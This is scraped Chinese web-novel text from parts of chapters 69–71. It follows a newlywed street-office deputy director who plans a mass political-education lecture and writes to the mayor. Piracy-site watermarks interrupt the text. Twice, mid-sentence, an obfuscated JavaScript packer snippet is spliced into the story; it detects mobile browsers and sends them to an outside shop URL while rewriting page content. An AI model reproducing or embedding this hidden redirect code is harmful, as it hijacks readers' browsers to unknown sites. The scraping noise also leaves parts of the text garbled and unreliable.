吴峥嵘其实挺想带她去北京天津上海转转。 但探亲假能报销往返路费对目的地也有限制必须是探望父母才行。 那就只能带她去老吴的驻地附近转转了。 叶满枝惊喜地问:“我也能跟你一起休假吗?” “当然能你把工作交接好以后告诉我时间我提前买车票。” 见她不再哭唧唧了吴峥嵘终于放了心早知道这招好使他应该早点用的。 叶满枝激动地问:“咱们能去几个地方?能坐火车和轮船吗?” 别说南方了她连滨江都没出过。 她也没见过海没坐过大轮船! 啊啊啊她好想去探亲恨不得明天就能摆酒结婚送入洞房! 不过她刚当上副主任而且现在街道办还人手不足有三个编制的人员缺口。 万一张勤简在她休假期间为街道办招聘人手找来的肯定全是他的关系户到时候街道办就是老张的一言堂她这个副主任八成就得靠边站了。 叶满枝皱眉沉思着。 一颗心被分成两半 她得想想办法尽快在副主任的位置上站稳脚跟才行。 作者有话要说 一百个红包明天见~ 第 69 章 新婚第一晚 第69章新婚第一晚 叶满枝结婚当天被提拔为街道办副主任,对叶家人来说,绝对是意外之喜。 本就丰盛的晚饭,又被常月娥添了两道肉菜,满满当当摆了一大桌,庆祝小两口新婚。 与领证结婚相比,闺女当官儿其实更让她感到欣喜。 常月娥心里实在是高兴,直接包揽了之后的婚礼事宜,声称有事会与吴小姑商量,让闺女和女婿专心工作,为社会主义事业添砖加瓦! 两个年轻人只要在婚礼当天露面即可。 吴峥嵘被老丈人和三个舅兄灌得不轻,打着晃走出岳家大门时,还在跟叶满枝低声感叹:“娶了小叶主任,让我也跟着沾光了。” 他不是没见过宠孩子的父母,但亲身体验还是第一次,算是被爱屋及乌了。 “你知道就好!娶了我,你真是占了大便宜了!看我爸妈多喜欢你!” 四周夜色弥漫,叶满枝借着黑暗掩护,悄悄跟他牵手,觉察他手心滚烫,不禁抱怨道:“我爸可真是的,干嘛又让你喝那么多酒啊!” “今天还能让我直着走出家门,咱爸算是手下留情了。”吴峥嵘以极其认真的口吻说,“以后咱们的女儿要是带女婿回家,我能喊一个连的人跟他喝酒。” 叶满枝用手肘拐他一下,“你哪来的女儿?” “媳妇已经娶回来了,女儿总会有的。”吴峥嵘在她指尖上捏了捏问,“你穿这些冷不冷?跟我回家待会儿吧?” 叶满枝今天是上衫下裙的打扮,初夏的夜晚,穿裙子还是有些凉的。 “我妈让我早点回家呢!” 两人刚领了结婚证,叶满枝其实挺想跟他单独腻歪一会儿的,但她实在是怕了常月娥,要是回去晚了,一定又会对上她意味深长又恨铁不成钢的目光。 可是,暖黄路灯下的军代表同志那么英俊,要是结婚当天连个吻都没有,还挺遗憾的。 叶满枝在心里天人交战了半晌,踯躅道:“只能呆一小会儿啊!” 新婚小夫妻在夜色的掩映下回了家。 电灯还没打开,叶满枝一进门就踢到了什么东西,发出“咣”的一声。 “你把什么堆在门口了?” “ 不是我放的可能是军代室那些同事送的贺礼他们知道我今天领证结婚。” 吴峥嵘没能摸到电灯开关索性将人抱起来摸黑进了房间。 露在裙子外面的皮肤有些凉滚烫掌心抚上小腿时叶满枝被烫得一哆嗦忍不住将他的脖子搂得更紧凭直觉去寻找他的嘴唇。 唇舌交缠湿热柔软的触觉让男人头皮发胀绷直了全身肌肉本能地想把人抱到新床上。 叶满枝攀在他腰上的腿微微使力收紧含糊地阻止:“我妈说婚礼前不能坐床!” “这是哪里的习俗?” “就是咱们这里的。” 其实常月娥的原话是不许外人坐新人的床但叶满枝一想到那张床心里就慌慌的她今天可不敢躺上去。 吴峥嵘不懂说道繁多的嫁娶习俗但是愿意顺着她的心意讨个好彩头于是调转方向坐到椅子里抱着怀里的温软继续探索。 叶满枝紧贴着他宽阔的胸膛上颚被舔得酥麻有津液从唇角溢出又很快被卷走湿润的舔舐声钻进耳里让她难以抑制地一阵阵颤栗。 她紧紧缠住他的脖子艰难地喘息道:“我快要透不过气了……” “嗯。” 男人听话地松开她 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节)温热的嘴唇划过下颚沿着颈线一寸寸轻吻叶满枝忍不住轻哼出声双腿不自觉收力整个人都热气腾腾的。 鼻息还想继续下移时却意外遇到阻隔。 “你穿的这是什么?”他从柔软中仰头问。 “你不是博览群书么怎么连这个都不知道?” 吴峥嵘轻笑:“哪本书教这个?” 叶满枝被吐息烫得轻颤抱着他的脑袋平复了一阵心情心想他早晚会知道的于是在他耳边轻声说了几个字。 “苏式什么?”吴峥嵘以为自己听错了不由再次确认。 “没听清就算了。” 闻言男人抱着她起身打算拉开电灯仔细看看。 叶满枝却赶紧攀住他阻止:“你不许开灯!” 担心他还想开灯观察她只好趴到他肩膀上小声重复一遍。 吴峥嵘沉默了一阵垂首在她的柔软上亲了亲好笑道:“倒是挺形象的但是怎么会起‘苏式奶罩’这种 名字……” 叶满枝羞耻地捂住他的嘴:“你说那么大声干什么?这名字又不是我取的大家都这么叫嘛……” “嗯苏联确实挺先进的”男人在布料的挂钩上摸了摸“连奶……” 话说到一半再次被柔软的掌心捂住他顺从地改口说:“连这种衣服的挂钩都是精钢的。” “你的关注点好奇怪。” “我要是关注别的你今晚就不用回去了。” 吴峥嵘没再去碰那精钢的挂钩搂着她贪婪深吻了一阵后叹息着将人松开起身去开灯了。 “把衣服穿好吧我送你回去。” 叶满枝满脸通红背过身去整理上衣和裙子而后扭头说:“把你手边的开衫递给我。” 吴峥嵘正盯着自己大腿布料上一块变深的绿色出神闻言瞅一眼满脸懵懂的姑娘抬手在自己脸上狠狠搓了几把。 深吸一口气将外套递了过去。 * 夫妻俩再次出门时已经临近熄灯时间。 返回叶家的路上正好碰到几个巡逻的小战士。 叶满枝见他给小战士们回礼 巡逻队离开后又黏黏糊糊地去牵人家的手。 吴峥嵘在她指尖上用力攥了一下尽量不再想大腿上的洇湿将心思从温香软玉里转移出来。 “穆主任变成穆区长你要跟张主任搭班子了你俩之前相处得怎么样?” “不怎么样他以前总挑我的毛病给他当副主任我其实还挺紧张的。” “以后应该不会了”吴峥嵘宽慰她“你能当上副主任他应该是投了赞成票的既然是他自己点头同意的那么一个班子的同志总要彼此留些面子不可能再像以前那样挑你的毛病。” 叶满枝不可置信地瞪大眼睛:“张勤简会给我投赞成票?怎么可能呢?” “他是新一任的主任在副主任的人选上组织部门肯定会参考他的意见他如果强烈反对你这个年轻干部未必能当上副主任。” 其实张勤简投赞成票是很好理解的。 在光明街现有的人员中没有适合当副主任的人选那么区里肯定要从其他单位调派 。 能被区里派来当副主任的同志年龄上应该与他相近还很可能有些背景关系。 张勤简未必能拿捏住这样的副主任。 与其来一个不知深浅的陌生人还不如让叶满枝当这个副主任。 叶满枝年轻当了副主任以后短时间内不会升迁。 关键是她在工作上很有闯劲儿穆兰已经因此获益高升去区里了。 张勤简若是聪明人就应该跟叶满枝搭好班子甭管是谁做出的成绩第一受益人都是他这个负责全面工作的主任。 叶满枝琢磨着他的话心里对张勤简的抵触情绪稍稍缓和了一些。 “照你这么说我俩之间还是可以融洽相处的。” “当然可以你在学习当副主任的同时他也要适应主任的身份可能这会儿也在想应该如何与你相处吧。” 走进楼栋时叶满枝的精神已经彻底放松下来了 回家以后还要独守空房吴峥嵘默默叹气将新媳妇揽过来狠狠亲了两口。 “好了好了”叶满枝仰头接受他的吻言不由衷地说“你怎么这么黏糊!” 她其实还挺喜欢跟军代表同志贴贴的。 但他俩今天刚探索了一些未知领域这让她贴贴的时候心脏狂跳万一被对方听到了尴尬的又是她。 叶满枝把人哄走了自己回家在床上翻来覆去地蛄蛹。 一会儿想吴峥嵘一会儿又想婚礼之后的探亲之旅笑声把困顿的叶梨花吵得咪咪叫用爪子盖住了毛脸蛋。 叶满枝跟小猫道了歉然后让自己克制想一想张勤简那张老脸终于心如止水安静睡觉了。 * 次日去上班的时候小叶副主任人逢喜事精神爽浑身上下都洋溢着喜悦。 张勤简果然如军代表同志所说似乎也在适应新身份。 与她说话时神色和气了不少。 “咱们的工作暂时还按照之前的分工来做等到空缺人员配齐以后再另行分工。”张勤简将一个账本和一个铝饭盒递给她“财务工作向来由副主任负责的这是咱们单位的经费你接手保管吧。” 叶满枝没推辞痛快 地接过来而后一笔一笔跟他对账。 “那行我先管着咱们的办公经费 张勤简喝了口茶慢悠悠道:“新人新气象咱俩都是刚履新的领导要给光明街带来让人耳目一新的改变。不过做工作还是离不开人的现在街道办有三个人员缺口还是要将人员尽快补齐才行。这三个人要由咱们街道自行招聘小叶主任有什么看法么?” 他觉得叶满枝这样的小年轻自己都是刚被招进来没多久的在人事问题上应该会有分寸不会过多插手。 然而叶满枝在当副主任之前为煤炉厂招聘过工人和供销员在用人问题上她还挺有自己的想法。 “主任其他的工作暂且不提招年轻的应届毕业生或是有经验的老同志我都没有意见。但是福利工作这一块我觉得应该找个有这方面经验的同志接替魏珍的工作。” “……” “魏姐给咱们的福利工作打下了很好的底子也算是咱们光明街道办的一大特色了我认为应该把这项优势延续下去招一个能力突出有这方面工作经验的同志。对应聘这个岗位的同志应该有明确要求一是有丰富的基层工作经验二是做过相关工作了解市里的福利政策和救济政策。三是最好曾因福利工作获得过嘉奖。” 张勤简品了品她这番话放下茶杯问:“小叶主任你是不是有合适的人选啊?” “我倒是可以推荐一个人选但人家在原单位干得挺好的不知道她乐不乐意来。”叶满枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546343|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不给他打断的机会继续道“这位同志是我在基层干部进修班的同学叫郎庆红三十多岁的女干部年富力强正在北江镇工作。郎庆红跟魏姐一样去年也因为福利工作被评为他们县的先进个人了。” 张勤简皱眉吹了吹茶叶沫子沉吟着没说话。 福利工作也算是街道办的重点工作之一。 但这种工作通常是跟着市里的政策按部就班进行的很难做出特别亮眼的成绩。 像魏珍那样凭借一个养老院就调去区里的实属凤毛麟角。 叶满枝等了一阵见他不表态又继续道:“除了这个人选我就没什么可推荐的人才了。其他人选还得靠 张贴招聘启示和熟人推荐。” 也就是说,她只要这一个名额。 另外两个空缺的人选,她不插手。 张勤简思考了一阵,两人刚搭班子,叶满枝又是副主任,三个空缺名额,一个也不给她的话,确实影响他们刚和谐起来的关系。 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) “就是不知道这位郎同志的家庭情况如何,从乡镇调任城市街道,她家里能安排好吗?” “她的家庭情况,我还真不太清楚,得打电话问问。” 郎庆红的爱人在年初被调去市立医院工作了,郎大姐早就想找门路进城。 但从乡镇调来城里工作,不但涉及工作调动,还有户籍关系和粮食关系的转变。 想从乡镇进城不是那么容易的。 光明街距离市中心有点远,但好歹是城里。 有这样一个机会,郎大姐应该不会放过。 叶满枝往张勤简的脸上扫了一眼。 哎,如果主任换个人来当,她还可以试着把彩霞姐请回来,在家门口工作。 可是彩霞姐已经在体育用品公司的后勤上班了,福利待遇也很好。她当时都快恨死张勤简了,平时来街道办事也从不跟张勤简说话,即使有空缺编制她也不可能在张勤简手下工作。 叶满枝收回心思,给郎庆红打了电话以后,便不在人事问题上发表意见了。 招聘人手本来就是主任的工作,当初穆主任虽然管得松,但在人事工作上几乎是她的一言堂。 张勤简肯分给她一个名额,她没什么不知足的。 她6月16号摆喜酒办婚礼,之后还要休长假探亲,必须在休假之前,做出点拿得出手的成绩才行。 叶满枝在张勤简张贴告示招聘新人的时候,沉下心思捋了一遍街道的工作。 街道的工作大多是务实的,除了党员干部和积极分子会定期组织学习,很少有务虚的工作。 但她上次去区委组织部谈话的时候,发现上级领导似乎很重视意识形态工作,关心年轻同志在思想政治上的进步。 她跟林副部长谈起街道工作取得的成绩时,对方很少插话提问。 但是讲到她在基层干部进修班的学习,看过什么读本时,林副部长却提了好几个问题。 叶满枝揪着 这一点琢磨了好几天,然后在张勤简面对一沓推荐信犯愁的时候,再次找到对方。 “主任,我发现咱们街道居民在思想政治的学习上非常落后,有些同志甚至搞不懂什么是社会主义,搞不懂为什么实行统购统销。除了那些有单位,能在单位和学校进行学习的同志,大多数无业居民,或是从事家庭手工业的居民,根本没有机会学习。 张勤简深以为然地点点头,“你说的这个是每个街道和乡镇都存在的普遍现象,关键是大家主观上的学习意愿并不强烈,人员太分散,咱们也不好组织学习。 “我觉得这种思想政治学习,没有必要像扫盲班似的搞小班授课,反而应该搞大班授课,而且人越多越好,大家都有个从众心理,愿意看热闹,咱们把课堂搞大点,肯定有人愿意来看热闹。 叶满枝想了想说:“我初步有个想法,咱们街道其实可以开展一些‘社会主义思想政治教育课’,每个月或者每个季度,在人民体育场的大操场上,请有经验的干部来讲一节课。 张勤简对组织这种活动向来很支持,颔首说:“嗯,到时候我可以给群众们讲讲。 “…… 叶满枝心说,我想出来的主意,凭啥让你上去出风头啊! 她乐呵呵道:“主任,你能给大家讲讲课,那是再好不过了。不过,咱们如果每个月都开课的话,最好能找不同领域的同志上台发言,比如第一课讲《正确认识民主和自由》,第二课讲《正确认识统购统销和物资供应问题》,咱们多选几个大家感兴趣的话题,邀请全市各单位的领导,来为人民群众讲课。 张勤简听出她不想让自己上台讲课的意思了,不太高兴地问:“那你想请谁上去讲课啊? “咱们要是真的组织这个活动,那就是全市第一个人民大课堂,叶满枝兴致勃勃地问,“你觉得邀请市长来讲第一堂课咋样? 张勤简:“…… 作者有话要说 晚九点还有一更! 一百个红包,晚上见~ 第 70 章 给市长的一封信 第70章给市长的一封信 叶满枝提出给居民上政治课的时候,张勤简还觉得她这个想法挺好的。 等他听说对方想邀请市长来讲课以后,想法挺好就变成想得挺美了。 这年轻人可真敢想啊! 让市长来街道给一群居民上思想政治课,你咋那么能做美梦呢? 邀请市长的第一步,你要能见得到市长吧? 他们这样一个基层单位,有什么关系能联系到市长? 他要是有这样通天的关系,早就不在街道干了! 张勤简腹诽了一阵,再次面对叶满枝时,表情平静地说:“你这个想法挺好,不过邀请市长的难度不小,既然大课堂的想法是你提出来的,那你就放手去做吧。该邀请谁,你心里有个数,需要我配合的时候,我尽量支持你的工作。” 叶满枝心知他这是想撒手不管了。 不管正好! 她小心眼儿地想,这本来就是她为了在副主任的位置上坐稳,为自己琢磨出来的一项工作。 要是谁都能来插一脚,那还有她什么事啊! “那我先试着邀请一下,如果联系不到市长,咱们就退而求其次,邀请区长或其他单位的领导。不过主任,你也准备一些讲课内容吧,活动是咱街道组织的,主任肯定也要为群众讲讲的……” “嗯,我考虑考虑。” 叶满枝偷笑,心说这老张还拿起乔来了。 她往窗台的文竹上撒了点水,开始琢磨如何能邀请到市长同志。 当了副主任以后,她搬到了张勤简原来的座位。 张主任有这样那样的毛病,但在讲卫生这方面真的没什么可挑的,桌面和抽屉,甚至连旁边的窗台都是一尘不染的。 叶满枝原来的座位守着门边,没有养花的条件,这回她在窗台上摆了两盆花。 一盆是林青梅送的文竹,另一盆是吴峥嵘送的仙人掌。 阳光下的两盆小苗苗长得特别茁壮,叶满枝盯着绿植观赏了许久,而后翻出信纸,决定给市长写信,邀请市长来光明街的大课堂上开课! 不过,她写了一下午,费了不少稿纸,始终对信件内容不太满意。 吴峥嵘听说她准备给市长写 信的时候,表情有些一言难尽。 “叶主任,要不我找关系帮你搭上市长吧? 他是工厂的军方代表,其实跟市长也没什么机会打交道,要想搭上市长,得找些拐弯抹角的关系才能说得上话。 那也比她给市长写信靠谱一些。 “没事,我先自己想想办法,听说市人委那边有个信箱,专门用于接收人民来信,我先往信箱里写信,万一我的信被送到市长手里了呢? 吴峥嵘摇头:“那些信恐怕很少有能送到市长手里的,一般都是由办公厅的工作人员帮着处理,然后分门别类,送给相应的单位解决问题。 “没关系,试试嘛,试试又不花钱,万一被市长收到我的邀请信,那我就赚大发了呀!叶满枝用脚尖在写字台下踢了踢他,“你说,怎么样能让我的信在那些信件中脱颖而出,被送到市长手里啊? 吴峥嵘用膝盖夹住她不老实的脚丫,一本正经道:“一要言之有物,二要反其道而行之。 “怎么反其道而行之?叶满枝把另一只脚也伸过去踢他。 “每天寄给市长的信件应该有不少,你要是一板一眼写信,估计工作人员只看个开头,就会一目十行将你的信件归类了,未必有耐心看完。 吴峥嵘将她的两只脚全都夹住,然后就用手握住了。 叶满枝被他摸得痒痒,脚丫子胡乱踢腾了几下。 然而,吴峥嵘的写字台特别宽,她为了伸脚去踢他,屁股只搭了椅子边边。 双方争夺脚丫使用权的时候,她屁股突然滑下椅子边边,扑通一下掉到地上了! 两人同时被这个变故震惊了。 吴峥嵘赶忙松开她的脚,起身去检查她的伤势。 “啊——叶满枝狼狈地大喊,“吴峥嵘,你这个混蛋!我要去跟奶奶告状,你平时就是这么欺负我的! 吴峥嵘将她从地上抱起来,“我看看屁股摔成八瓣没有! “没有! 疼倒是不疼,就是有点丢人! 她当天没再搭理吴峥嵘,但他的建议是可以接受的。 叶满枝回家以后,斟酌着给市长写了一封信,第二天一大早就寄了出去。 她默默等了 几天始终没能等到回信或电话之类的。 不得不承认给市长写信这一招似乎真的不太靠谱她还得想想其他办法。 叶满枝考虑了几天后决定往区里跑一趟请穆区长帮帮忙。 “呦主任要出门啊?”刘金宝笑嘻嘻地说“有啥事让我去帮着跑腿呗!我好给领导溜溜须!” “邀请市长来咱街上参加活动你帮我跑跑也行。” “邀请市长啊那我跑不动。”刘金宝把脖子缩了回去。 “还有啊副主任就是副主任你喊我主任把张主任置于何地啊?” 张勤简和刘金宝:“::::::” 这话咋那么耳熟呢? 跨出大门时叶满枝暗道这话说出来其实还挺爽的难怪张主任那么爱挑人毛病。 …… 穆兰升职以后叶满枝还是第一次来区里找她。 门口的女秘书听说她是光明街的副主任知道这是领导的老部下很客气地让她进门了。 叶满枝见到穆兰就笑道:“主任您现在可太厉害了!都有秘书为您服务啦!” “哈哈由俭入奢易由奢入俭难。”穆兰低声透露“我刚开始也挺不习惯的用了几天以后就逐渐发现有秘书的好处了。” 她在街道的时候虽然是主任但单位小一共才八个人去哪里给她配秘书? 如今来了区里单位规模变大了她的办公条件也跟着水涨船高了。 “最近光明街的工作怎么样?你突然跑过来是有什么事吧?” 叶满枝点点头 “你既然想邀请市长总归是有些办法的吧?”穆兰问。 “我只在过年前的大集上见过一次市长估计人家贵人事忙早就把我忘了。市长的办公室我又进不去就只能给市长写信邀请了。” 穆兰摇摇头她跟吴峥嵘的想法近似觉得写信不靠谱未必能送到市长手里。 “那怎么办呀?” 穆兰说:“每个月15号是市长接待日那天会亲自接待一些人民代表每个月会选一个做街道居民工作的代表反映群众心声你可以考虑报名当这个人民代表。” 叶满枝觉得当人民代表的希望渺茫,口头答应着,但还是跟穆兰商量,“主任,我们的人民大课堂预计有好几课呢,您到时候也回去给大家讲讲呗! 穆兰没跟她客气,直言道:“我就是从光明街出来的,大家对我很熟悉了,谁还乐意听我讲课!你先想办法邀请市长,实在没机会的话,我再帮你邀请刘区长或吕书记。你这个思想政治课的想法挺好,要想做出成绩,最好请一些有影响力的领导。 最有影响力的当然是市长啦! 但叶满枝也知道其中难度不小。 从区里回来后,她又将整件事情思量了一遍,觉得可以做两手准备。 给市长写的信已经寄出去了,现在要做的就是报名,争取当上这个月或下个月的人民代表。 * 城市的另一边,市人民委员会办公厅。 罗恒将三封人民来信送到了办公厅主任的案头。 “这三封信是什么情况?陈主任问。 “第一封是滨江钢铁厂的群众集体来信,主要还是上次来市里上访的那件事。 “第二封是有人反映市里的门牌号杂乱,同一个号码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546344|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲乙丙丁有四个。 陈主任将第二封信退回去,“你直接送去市政交通部门,给我干什么? “写信人是齐前进同志。 陈主任:“…… 齐前进是从市里离休的老同志,这几年比较关心城市发展,市领导也经常听取他的意见。 陈主任在信上写了几笔,签下自己的名字,重新将信封推回去,送给市政交通部门。 “第三封信是怎么回事? 罗恒的表情古怪了一瞬,组织了半天语言,才说:“第三封信有点复杂,是找市长的。要不您先看看吧。 陈主任不再多话,将两张信纸从信封里取了出来。 【尊敬的市长同志:您好!】 【上次一别已有半年未见,不知您对我是否还有印象……】 看到这里,陈主任不由翻出眼镜盒,将花镜架到了鼻梁上。 这封信只看开头的话,用词不太考究,不像是公务往来信件,语气似乎有些熟稔,难道是市长的什么私人关系? 这人联系不到市长,就把信寄 到单位来了? 陈主任心里有了好奇,不由继续往下看。 【我是正阳区光明街道办事处的副主任叶满枝,与您会面时,我还是一名普通的基层青年干部呢!】 【今年春节前,在正阳区的反帝自由市场上,我有幸为您解答了一些有关自由市场和工商税务的问题,也将您的意见及时反馈给街道办和工商所了。】 【……】 【……】 下面就是关于市长意见的反馈结果。 陈主任将那几行匆匆扫过,紧接着又见她写道—— 【通过您提出的这些问题,可以看出,您是一位了解基层工作,关心群众生活的好市长。因此,我想冒昧地向您提出一个不情之请——诚邀您为光明街的居民们上一节政治课!】 【近段时间,光明街贯彻市里“大鸣大放百家争鸣”的方针,鼓励街道居民大胆鸣放,各抒己见,但效果并不理想。】 【我街干部们积极寻找原因后发现,很大程度上是因为居民们的政治认识还有待提高。】 【光明街共有一万八千名居民,有正式工作的工人和干部占40%,学生占21%,剩余39%都是没有单位和学校的普通群众。这些人中一部分是家庭手工业劳动者,一部分是没有劳动能力的老人和孩子,还有一部分是失业人员,他们的共同点就是没有机会,也没有渠道,提高思想政治觉悟。】 【经干部们走访调查发现,很多人还不了解什么是社会主义,不知道自由和民主,甚至不理解国家为什么要实行统购统销,为什么要防范敌特间谍……】 【鉴于此种情况,我街决定为这些没有机会提高政治认识的居民,开设“社会主义思想政治教育大课堂”,授课内容包括但不限于《社会主义是唯一正确的道路》、《正确认识民主和自由》、《正确认识统购统销和物资供应问题》、《关于升学和劳动就业问题》……】 【地点暂定在人民体育场大操场。】 【尊敬的市长同志,我要代表光明街的一万八千名居民,真诚邀请您为基层群众宣讲“社会主义思想政治教育第一课”!】 【您也许为党员干部们上过课,为人民代表们讲过话,但我们大课堂的学员,都是最普通的工农阶级、最基层的劳动人民,下至懵懂幼儿上至蹒跚老人,许多人在思想政治方面尚处于启蒙阶段。】 【这次的人民大课堂,一定会成为您最特别,也最有意义的一次宣讲经历!】 【……】 【……】 陈主任没再看之后的套话,他将信纸翻至中段,重新看了一遍这封信的主要内容。 罗恒在旁边等了一阵,忍不住问:“主任,这信要怎么处理啊?” 作者有话要说 一百个红包,明天见~ 第 71 章 人委办公厅的答复 常月娥一边给她抹药膏,一边埋怨,“我把你们的婚礼包揽下来,是为了让你专心工作,但你也不能太操心工作啊,你看哪个新娘子的下巴上有火疖子!” “我也不想啊,它自己跑出来的!”叶满枝郁闷地将镜子反扣到床上。 “市长哪是好见的!你请不来才是正常的!”常月娥把一堆贺礼推给她,“这是你二姐她们给你送来的新婚礼,你自己拾掇拾掇,搬到峥嵘那边去吧。” “这么多啊?” 叶家的兄弟姐妹多,办喜事时,有钱的出钱,有力的出力。 大姐二姐都出嫁了,她俩属于出钱的。 大姐早就说过叶满枝结婚的时候,要送她一台缝纫机。 二姐的条件不如大姐,但也送了两个脸盆和两个暖瓶。 这年头结婚,亲戚间送的东西都不贵重,即使送几个鸡蛋,送个茶缸或是牙刷,也是正常的。 反正人情分往的事都是相互的,你送了多少礼,我以后回多少礼就行了。 大姐二姐送的这几样,算是很贵重的贺礼。 大姐的缝纫机已经不是简单回礼就能解决的,二姐这个倒是好说,等到妞妞周岁的时候,她可以给外甥女好好准备一份贺礼。 叶满枝按照妈妈教的,专门找出一个本子,用于记录人情往来。 以后她跟吴峥嵘组建了小家庭,就要由他们自己操持这些事情了。 常月娥把谁谁谁送了什么东西,谁谁谁帮忙操办了酒席都说得明明白白,让闺女一一写进人情簿里。 “来芽,你结婚我也没什么可送的,就送你两盆花吧,你拿到新房那边看个新鲜!” 叶满枝记录人情往来的时候,四嫂沈亮妹捧着两盆杜鹃花进门了。 “嫂子,你跟我四哥不是帮我操办婚礼了嘛,还送什么礼呀!” 通常情况下,出过力的就不用出钱了。 这两盆杜鹃瞧着不起眼,却是她四哥精心伺候过的。 一般的杜鹃在入夏以后就落花了,但这两盆的花朵还火红火红开得娇艳。 四哥要是把这两盆花倒腾出去,也能赚不少钱。 叶满枝以为四嫂是惦记自己这个房间,才给她送花的,于是主动说:“嫂子,等我出门了,你跟四 哥就搬来我这屋住吧。以后我回娘家的时候,就去霸占麦多的吊铺。” 她虽然想在娘家保留一个房间,但也要考虑家里的实际情况。 不料,沈亮妹却格外大方地说:“来芽,我跟你四哥商量好了,等你回门以后,彻底办完了喜事,再考虑换房间的事。” 反正这么长时间都等过来了,不差这几天。 叶满枝瞅瞅那两盆花,既然不是为了房子,那干嘛无缘无故给她送两盆杜鹃花呀! 沈亮妹将房间门合上,坐到她身边问:“小妹,你当了副主任以后,是不是就不兼任煤炉厂的厂长了?” 叶满枝确实有这个打算。 她当煤炉厂的厂长,主要是不想参与动员返乡工作。 这会儿劝返工作已经结束了,而且煤炉厂规模越来越大,需要一个专职厂长。 但这事她也只是在心里想想,并没对外透露。 “嫂子,你听谁说的?” “就是我大哥听说你当了副主任以后,瞎猜的。”沈亮妹观察着她的神色问,“小妹,我大哥念过书,也在乡里的手工社当过组长,你要是不当厂长了,能推荐我大哥当厂长不?” “嫂子,你知道煤炉厂是什么性质的工厂吧?” “知道啊,国营的。” “街道组织的国营工厂,那是必须严格控制在街道积极分子和本街基层群众手里的,要放在居民党支部的领导和监督之下。亲家大哥不是咱们光明街的居民,也不是党员,别说厂长了,连组长都当不了。” 沈亮妹焦虑地抠手指,她没听懂前面那些,但她大哥没资格当厂长,她听懂了。 “来芽,这事就不能通融通融啊?” “这是硬性规定,通融不了。”叶满枝皱眉看向她问,“嫂子,上次你侄子要进煤炉厂上班,我帮着办了,这次你大哥怎么又要当厂长?” 这是占便宜占上瘾啦? 沈亮妹被小姑子说得脸红,吭哧道:“那我大哥都求到我这里了,我有啥办法?” “你是不是回娘家吹牛啦?”叶满枝不客气道,“说我四哥要当司机,我当了副主任,还嫁了个军代表?” 沈亮妹:“……” 这丫头咋啥都知道? 真是一句不差。 她这些年虽然嫁到了城里,但叶家只是普通工人家庭,叶满桂也没啥正经工作。 回娘家的时候,她从没受过特殊礼遇。 不过,自从听说满桂要当司机以后,侄子每次进城都给她从老家送粮食。 叶满枝也知道她娘家给她送粮的事,粮食送来以后,叶家人都吃过,所以四嫂求她给侄子安排工作的时候,她没推脱,直接安排进煤炉厂当了临时工。 让她安排一个临时工还行,安排厂长就是难为人了。 “嫂子,我上小学的时候,你就跟我四哥结婚了,咱们有感情基础,所以有些话我不跟三嫂说,却可以跟你说说。” 当然了,黄大仙挺有主意的,人家用不着她指手画脚。 沈亮妹愣了一下,“来芽,有啥话你就直说吧。” “我四哥虽然去学车了,但656厂不让他进,以后还得找关系去别的单位当司机,你也一样,煤炉厂开春以后的生意一般,你这个编外供销员也没什么收入。你俩的翅膀还没长硬呢,就别给你娘家献血了。” 沈亮妹被她说得脸上火辣辣的,想拉下脸反驳几句,又不敢跟这个副主任小姑子撕破脸。 “嫂子,你在娘家的地位,是由你跟我四哥的社会地位和人际关系决定的。我这话说得可能不好听,但你不要怕拒绝娘家兄弟侄子的索取。你高兴的时候可以举手之劳帮一下,但不能被别人牵着鼻子走,他们说什么你就答应什么,那怎么能行!”叶满枝叹气说,“你娘家兄弟以后还要求着你办事,即使你拒绝了,这亲情关系也不会崩的,你就放心大胆地拒绝吧,你大哥不敢跟你撕破脸。” 沈亮妹:“……” 她以前可从没往这方面想过。 叶满枝瞥她一眼说:“嫂子,你没什么事也去扫盲班学习学习,你大哥好歹还上过学,轮到你这里就是文盲了,我想给你安排个正式工作都不好安排。” 沈亮妹连忙问:“来芽,你真能给我安排正式工作啊?” “你先去扫盲班回炉脱盲吧,你看现在哪个好单位没有学历要求?” 沈亮妹跟小姑子聊了半个钟头,揣着一肚子先进思想离开时,脑袋还晕乎乎的。 她坐在客厅的板凳上,回味了一下小姑子说的话,似 乎还挺有道理的。 可是她想着想着就觉得好像哪里不对。 她大哥是她的娘家兄弟但叶满桂也是叶满枝的娘家兄弟啊。 而她作为娘家嫂子刚才正在向小姑子索取…… 叶满枝拒绝给她帮忙她也确实不敢跟叶满枝撕破脸。 “???” 所以 * 叶满枝可以给亲戚帮忙但必须是她心甘情愿的要想仗着亲戚关系占便宜没够那她当然要拒绝啦! 她将话跟四嫂讲清楚就带着一箱子书和两盆杜鹃花去了16号院。 厂里最近有新项目她进门时吴峥嵘还没下班回来。 叶满枝先把书箱搬进书房打算在书架上找个地方安置她仅有的这些书籍。 与吴峥嵘壮观的藏书相比她这几本书真是不值一提。 但她这种才算是正常的。 大家看书都是相互传阅或从图书馆借阅的像吴峥嵘这样一定要把书据为己有的才是少数。 叶满枝在书架下方找到一个空位想把那上面的十来本书暂时挪到别的位置。 然而将书取出时她却发现有几本新书竟然是重复的! 